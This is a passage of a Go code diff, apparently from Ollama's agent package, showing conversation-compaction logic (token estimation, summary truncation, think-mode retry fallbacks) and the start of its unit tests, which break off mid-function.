+	}
+
+	var summary strings.Builder
+	if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
+		summary.WriteString(response.Message.Content)
+		if req.Progress != nil {
+			tokens := response.EvalCount
+			if tokens <= 0 {
+				tokens = estimateCompactionTokens(summary.String())
+			}
+			req.Progress(CompactionProgress{Tokens: tokens})
+		}
+		return nil
+	}); err != nil {
+		return "", err
+	}
+	return summary.String(), nil
+}
+
+func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
+	retry := req
+	retry.Think = &api.ThinkValue{Value: false}
+	summary, err := c.summarize(ctx, retry, previousSummary, archive)
+	if err == nil {
+		return summary, nil
+	}
+	if !isUnsupportedCompactionThinkError(err) {
+		return "", err
+	}
+	if req.Think == nil {
+		return "", nil
+	}
+	retry.Think = nil
+	return c.summarize(ctx, retry, previousSummary, archive)
+}
+
+func isUnsupportedCompactionThinkError(err error) bool {
+	if err == nil {
+		return false
+	}
+	text := strings.ToLower(err.Error())
+	if !strings.Contains(text, "think") {
+		return false
+	}
+	var statusErr api.StatusError
+	if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
+		return statusErr.StatusCode == http.StatusBadRequest
+	}
+	return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
+}
+
+// compactionSummaryMessageForTask renders a compaction summary as the content
+// string stored on the synthetic tool-result message.
+func compactionSummaryMessageForTask(summary string, continueTask bool) string {
+	content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
+	if continueTask {
+		content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
+	}
+	return content
+}
+
+// CompactionSummaryMessages renders a compaction summary as the assistant
+// tool-call plus tool-result pair that represents a compacted turn in the
+// message history.
+func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
+	return []api.Message{
+		{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{{
+				ID: CompactionToolCallID,
+				Function: api.ToolCallFunction{
+					Name: CompactionToolName,
+				},
+			}},
+		},
+		{
+			Role:       "tool",
+			ToolName:   CompactionToolName,
+			ToolCallID: CompactionToolCallID,
+			Content:    compactionSummaryMessageForTask(summary, continueTask),
+		},
+	}
+}
+
+func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
+	contextWindow := c.contextWindowTokens(options)
+	threshold := int(float64(contextWindow) * c.threshold())
+	if threshold <= 0 {
+		return 0
+	}
+	systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
+	userRoleTokens := estimateCompactionTokens("user")
+	budget := threshold - systemTokens - userRoleTokens
+	if budget <= 0 {
+		return 0
+	}
+	return budget
+}
+
+func truncateCompactionSummary(summary string) string {
+	if len(summary) <= maxCompactionSummaryBytes {
+		return summary
+	}
+	limit := maxCompactionSummaryBytes - len(compactionSummaryTruncated)
+	if limit < 0 {
+		limit = 0
+	}
+	var b strings.Builder
+	for _, r := range summary {
+		if b.Len()+len(string(r)) > limit {
+			break
+		}
+		b.WriteRune(r)
+	}
+	return strings.TrimSpace(b.String()) + compactionSummaryTruncated
+}
+
+func estimateCompactionTokens(text string) int {
+	text = strings.TrimSpace(text)
+	if text == "" {
+		return 0
+	}
+	return max(1, (len([]rune(text))+3)/4)
+}
+
+func estimateMessagesTokens(messages []api.Message) int {
+	var total int
+	for _, msg := range messages {
+		total += estimateCompactionTokens(msg.Role)
+		total += estimateCompactionTokens(msg.Content)
+		total += estimateCompactionTokens(msg.Thinking)
+		total += estimateCompactionTokens(msg.ToolName)
+		total += estimateCompactionTokens(msg.ToolCallID)
+		for _, call := range msg.ToolCalls {
+			total += estimateCompactionTokens(call.Function.Name)
+			total += estimateCompactionTokens(call.Function.Arguments.String())
+		}
+	}
+	return total
+}
+
+func estimateCompactionRequestTokens(req CompactionRequest) int {
+	requestMessages := sanitizeMessagesForEstimate(req.Messages)
+	if strings.TrimSpace(req.SystemPrompt) != "" {
+		requestMessages = make([]api.Message, 0, len(req.Messages)+1)
+		requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
+		requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
+	}
+
+	payload := struct {
+		Messages []api.Message   `json:"messages,omitempty"`
+		Tools    api.Tools       `json:"tools,omitempty"`
+		Format   json.RawMessage `json:"format,omitempty"`
+	}{
+		Messages: requestMessages,
+		Tools:    req.Tools,
+	}
+	if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
+		payload.Format = rawFormat
+	}
+	if data, err := json.Marshal(payload); err == nil {
+		return estimateCompactionTokens(string(data))
+	}
+
+	total := estimateMessagesTokens(requestMessages)
+	total += estimateCompactionTokens(req.Tools.String())
+	total += estimateCompactionTokens(req.Format)
+	return total
+}
+
+func (s *Session) estimateRunPromptTokens(opts RunOptions, messages []api.Message) int {
+	return estimateCompactionRequestTokens(CompactionRequest{
+		SystemPrompt: opts.SystemPrompt,
+		Messages:     messages,
+		Tools:        s.availableTools(),
+		Format:       opts.Format,
+		Options:      opts.Options,
+	})
+}
+
+func (s *Session) checkPreflightPromptBudget(opts RunOptions, messages []api.Message) error {
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return nil
+	}
+	estimated := s.estimateRunPromptTokens(opts, messages)
+	if estimated < contextWindow {
+		return nil
+	}
+	return fmt.Errorf("prompt is too large for the current context (~%d/%d tokens). Reduce the system prompt or message history, compact the conversation, or use a model with a larger context", estimated, contextWindow)
+}
+
+func (s *Session) checkPostCompactionPromptBudget(opts RunOptions, messages []api.Message) error {
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return nil
+	}
+	estimated := s.estimateRunPromptTokens(opts, messages)
+	if estimated < contextWindow {
+		return nil
+	}
+	return fmt.Errorf("history is still too large after compaction (~%d/%d tokens). Start a fresh request, reduce the system prompt or history, or use a model with a larger context", estimated, contextWindow)
+}
+
+func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
+	requestMessages := sanitizeMessagesForRequest(messages)
+	for i := range requestMessages {
+		// Image token accounting is model-specific. Without the active model's
+		// tokenizer and vision accounting, raw image bytes/base64 make the
+		// estimate look much larger than the prompt the model actually sees.
+		requestMessages[i].Images = nil
+	}
+	return requestMessages
+}
+
+func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
+	format = strings.TrimSpace(format)
+	if format == "" {
+		return nil, false
+	}
+	if format == "json" {
+		return json.RawMessage(`"json"`), true
+	}
+	if !json.Valid([]byte(format)) {
+		return nil, false
+	}
+	return json.RawMessage(format), true
+}
+
+func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
+	messages := make([]api.Message, 0, len(archive))
+	for _, msg := range archive {
+		msg.Thinking = ""
+		msg.Images = nil
+		messages = append(messages, msg)
+	}
+	return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
+}
+
+func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
+	payload, err := json.MarshalIndent(messages, "", "  ")
+	if err != nil {
+		return "", fmt.Errorf("marshal compaction messages: %w", err)
+	}
+
+	var b strings.Builder
+	if strings.TrimSpace(previousSummary) != "" {
+		b.WriteString("Previous summary:\n")
+		b.WriteString(strings.TrimSpace(previousSummary))
+		b.WriteString("\n\n")
+	}
+	b.WriteString("Messages to archive as JSON:\n")
+	b.Write(payload)
+	return b.String(), nil
+}
+
+func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
+	if maxTokens <= 0 {
+		return messages
+	}
+	fitted := append([]api.Message(nil), messages...)
+	for range 16 {
+		body, err := renderCompactionPrompt(previousSummary, fitted)
+		if err != nil || estimateCompactionTokens(body) <= maxTokens {
+			return fitted
+		}
+
+		idx := largestCompactionContentMessage(fitted)
+		if idx < 0 {
+			return fitted
+		}
+		overageTokens := estimateCompactionTokens(body) - maxTokens
+		currentRunes := len([]rune(fitted[idx].Content))
+		nextRunes := currentRunes - overageTokens*4 - 256
+		if nextRunes >= currentRunes {
+			nextRunes = currentRunes / 2
+		}
+		fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
+	}
+	return fitted
+}
+
+func largestCompactionContentMessage(messages []api.Message) int {
+	idx := -1
+	size := 0
+	for i, msg := range messages {
+		n := len([]rune(msg.Content))
+		if n > size {
+			idx = i
+			size = n
+		}
+	}
+	return idx
+}
+
+func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
+	if keepUserTurns < 0 {
+		keepUserTurns = defaultCompactionKeepUserTurns
+	}
+
+	start := 0
+	for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
+		prefix = append(prefix, messages[start])
+		start++
+	}
+
+	candidates := make([]api.Message, 0, len(messages)-start)
+	for i := start; i < len(messages); i++ {
+		msg := messages[i]
+		if isCompactionSummary(msg) {
+			previousSummary = CompactionSummaryText(msg.Content)
+			continue
+		}
+		if isCompactionToolCall(msg) {
+			if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
+				previousSummary = CompactionSummaryText(messages[i+1].Content)
+				i++
+			}
+			continue
+		}
+		candidates = append(candidates, msg)
+	}
+
+	userTurnIndexes := make([]int, 0, keepUserTurns)
+	for i := len(candidates) - 1; i >= 0; i-- {
+		if candidates[i].Role == "user" {
+			userTurnIndexes = append(userTurnIndexes, i)
+		}
+	}
+	keptUserTurns = keepUserTurns
+	if len(userTurnIndexes) <= keptUserTurns {
+		keptUserTurns = len(userTurnIndexes) - 1
+	}
+	if keptUserTurns < 0 {
+		keptUserTurns = 0
+	}
+
+	suffixStart := len(candidates)
+	if keptUserTurns > 0 {
+		suffixStart = userTurnIndexes[keptUserTurns-1]
+	}
+	if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
+		return prefix, previousSummary, nil, nil, keptUserTurns, false
+	}
+
+	return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
+}
+
+func isCompactionToolName(name string) bool {
+	return name == CompactionToolName
+}
+
+func isCompactionSummary(msg api.Message) bool {
+	return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
+		strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
+}
+
+// IsCompactionSummary reports whether msg uses the canonical compaction
+// summary message representation.
+func IsCompactionSummary(msg api.Message) bool {
+	return isCompactionSummary(msg)
+}
+
+// CompactionSummaryContent returns the user-visible summary from msg when it
+// is a canonical compaction summary.
+func CompactionSummaryContent(msg api.Message) (string, bool) {
+	if !isCompactionSummary(msg) {
+		return "", false
+	}
+	return CompactionSummaryText(msg.Content), true
+}
+
+// IsCompactionToolResult reports whether msg is the synthetic tool result used
+// to represent compaction in message history.
+func IsCompactionToolResult(msg api.Message) bool {
+	return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
+}
+
+// IsCompactionToolCall reports whether msg is the synthetic assistant tool
+// call paired with a compaction summary result.
+func IsCompactionToolCall(msg api.Message) bool {
+	return isCompactionToolCall(msg)
+}
+
+func isCompactionToolCall(msg api.Message) bool {
+	if msg.Role != "assistant" {
+		return false
+	}
+	for _, call := range msg.ToolCalls {
+		if isCompactionToolName(call.Function.Name) {
+			return true
+		}
+	}
+	return false
+}
+
+// CompactionSummaryText reverses CompactionSummaryMessages, returning the
+// user-visible summary text with the prefix and any continuation instruction
+// removed.
+func CompactionSummaryText(content string) string {
+	return strings.TrimSpace(strings.TrimSuffix(
+		strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
+		CompactionContinueInstruction,
+	))
+}
+
+func intOption(options map[string]any, key string) int {
+	if options == nil {
+		return 0
+	}
+	switch v := options[key].(type) {
+	case int:
+		return v
+	case int64:
+		return int(v)
+	case float64:
+		return int(v)
+	case float32:
+		return int(v)
+	case json.Number:
+		n, _ := v.Int64()
+		return int(n)
+	default:
+		return 0
+	}
+}

agent/compactor_test.go

@@ -0,0 +1,773 @@
+package agent
+
+import (
+	"context"
+	"net/http"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type scriptedCompactionClient struct {
+	responses [][]api.ChatResponse
+	errs      []error
+	requests  []*api.ChatRequest
+}
+
+func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
+	c.requests = append(c.requests, req)
+	i := len(c.requests) - 1
+	if i < len(c.responses) {
+		for _, response := range c.responses[i] {
+			if err := fn(response); err != nil {
+				return err
+			}
+		}
+	}
+	if i < len(c.errs) {
+		return c.errs[i]
+	}
+	return nil
+}
+
+func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
+	t.Helper()
+	if len(messages) != 2 {
+		t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
+	}
+	if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
+		t.Fatalf("compaction assistant message = %#v", messages[0])
+	}
+	if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
+		t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
+	}
+	if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
+		t.Fatalf("compaction tool result = %#v", messages[1])
+	}
+	if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
+		t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
+	}
+}
+
+func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       2,
+		Threshold:           0.5,
+	}}
+
+	messages := []api.Message{
+		{Role: "system", Content: "stay pinned"},
+		{Role: "user", Content: "old request"},
+		{Role: "assistant", Content: "old answer", Thinking: "hidden"},
+		{Role: "user", Content: "recent one"},
+		{Role: "assistant", Content: "recent answer"},
+		{Role: "user", Content: "recent two"},
+	}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:   "chat-1",
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	compacted := result.Messages
+	if len(compacted) != 6 {
+		t.Fatalf("compacted messages = %d, want 6", len(compacted))
+	}
+	if compacted[0].Content != "stay pinned" {
+		t.Fatalf("first message = %#v", compacted[0])
+	}
+	if result.Summary != "summary" {
+		t.Fatalf("result summary = %q", result.Summary)
+	}
+	assertCompactionSummaryPair(t, compacted[1:3])
+	if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
+		t.Fatalf("recent turns were not kept: %#v", compacted)
+	}
+	if len(client.requests) != 1 {
+		t.Fatalf("summary requests = %d, want 1", len(client.requests))
+	}
+	if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
+		t.Fatal("compaction prompt should omit thinking")
+	}
+}
+
+func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "small context summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: compactOnlySummaryContextTokens - 1,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:       "chat-1",
+		Model:        "model",
+		ContinueTask: true,
+		Messages: []api.Message{
+			{Role: "system", Content: "pinned"},
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "latest request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
+	}
+	if result.Messages[0].Content != "pinned" {
+		t.Fatalf("leading system message not kept: %#v", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[1:])
+	if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
+		t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
+	}
+}
+
+func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID:       "chat-1",
+		Model:        "model",
+		ContinueTask: true,
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Summary != "summary" {
+		t.Fatalf("result summary = %q", result.Summary)
+	}
+	content := result.Messages[1].Content
+	if !strings.Contains(content, CompactionContinueInstruction) {
+		t.Fatalf("tool result missing continue instruction: %q", content)
+	}
+	if got := CompactionSummaryText(content); got != "summary" {
+		t.Fatalf("visible summary text = %q", got)
+	}
+}
+
+func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
+	longSummary := strings.Repeat("x", maxCompactionSummaryBytes+1024)
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: longSummary}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old one"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent one"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Summary) > maxCompactionSummaryBytes {
+		t.Fatalf("summary bytes = %d, want <= %d", len(result.Summary), maxCompactionSummaryBytes)
+	}
+	if !strings.HasSuffix(result.Summary, compactionSummaryTruncated) {
+		t.Fatalf("summary missing truncation marker")
+	}
+	if !strings.Contains(result.Messages[1].Content, compactionSummaryTruncated) {
+		t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
+	}
+}
+
+func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted || result.Summary != "fallback summary" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("summary requests = %d, want 2", len(client.requests))
+	}
+	if client.requests[0].Think != nil {
+		t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+}
+
+func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			nil,
+		},
+		errs: []error{
+			nil,
+			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Compacted || result.Reason != "summary was empty" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("summary requests = %d, want 2", len(client.requests))
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+}
+
+func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
+	client := &scriptedCompactionClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
+			nil,
+			{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
+		},
+		errs: []error{
+			nil,
+			api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
+			nil,
+		},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+	thinkHigh := &api.ThinkValue{Value: "high"}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent request"},
+		},
+		Think: thinkHigh,
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted || result.Summary != "unset think summary" {
+		t.Fatalf("compaction result = %#v", result)
+	}
+	if len(client.requests) != 3 {
+		t.Fatalf("summary requests = %d, want 3", len(client.requests))
+	}
+	if client.requests[0].Think != thinkHigh {
+		t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
+	}
+	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
+		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
+	}
+	if client.requests[2].Think != nil {
+		t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
+	}
+}
+
+func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "short summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "latest request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if result.Messages[2].Content != "latest request" {
+		t.Fatalf("latest turn was not kept: %#v", result.Messages)
+	}
+}
+
+func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "whole summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "only request"},
+			{Role: "assistant", Content: "only answer"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 2 {
+		t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages)
+}
+
+func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
+	client := &fakeClient{}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		Threshold:           0.8,
+	}}
+
+	messages := []api.Message{
+		{Role: "user", Content: "one"},
+		{Role: "user", Content: "two"},
+		{Role: "user", Content: "three"},
+		{Role: "user", Content: "four"},
+		{Role: "user", Content: "five"},
+	}
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Compacted {
+		t.Fatal("did not expect compaction")
+	}
+	if result.Due {
+		t.Fatal("below-threshold compaction should not be due")
+	}
+	if len(result.Messages) != len(messages) {
+		t.Fatalf("messages changed below threshold: %#v", result.Messages)
+	}
+	if len(client.requests) != 0 {
+		t.Fatalf("summary requests = %d, want 0", len(client.requests))
+	}
+}
+
+func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.8,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "read large output"},
+			{Role: "assistant", ToolCalls: []api.ToolCall{{
+				ID: "call-1",
+				Function: api.ToolCallFunction{
+					Name: "read",
+				},
+			}}},
+			{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Due || !result.Compacted {
+		t.Fatalf("expected estimate-driven compaction, got %#v", result)
+	}
+	if result.Summary != "estimated summary" {
+		t.Fatalf("summary = %q", result.Summary)
+	}
+}
+
+func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
+	compactor := &SimpleCompactor{Client: nil, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		Threshold:           0.8,
+	}}
+
+	if !compactor.shouldCompact(CompactionRequest{
+		SystemPrompt: strings.Repeat("system ", 360),
+		Messages:     []api.Message{{Role: "user", Content: "tiny"}},
+	}) {
+		t.Fatal("system prompt should count toward compaction estimate")
+	}
+
+	if !compactor.shouldCompact(CompactionRequest{
+		Messages: []api.Message{{Role: "user", Content: "tiny"}},
+		Tools: api.Tools{{
+			Type: "function",
+			Function: api.ToolFunction{
+				Name:        "verbose_tool",
+				Description: strings.Repeat("description ", 360),
+			},
+		}},
+	}) {
+		t.Fatal("tool definitions should count toward compaction estimate")
+	}
+}
+
+func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
+	largeToolOutput := strings.Repeat("x", 10_000)
+	body, err := compactionPrompt("", []api.Message{
+		{Role: "user", Content: "what changed?"},
+		{Role: "assistant", ToolCalls: []api.ToolCall{{
+			ID: "call-1",
+			Function: api.ToolCallFunction{
+				Name: "bash",
+			},
+		}}},
+		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
+	}, 300)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if estimateCompactionTokens(body) > 300 {
+		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
+	}
+	if strings.Count(body, "x") >= len(largeToolOutput) {
+		t.Fatal("large tool output was not truncated")
+	}
+	if !strings.Contains(body, "[tool output truncated: showing first ~") {
+		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
+	}
+}
+
+func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
+	alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
+	body, err := compactionPrompt("", []api.Message{
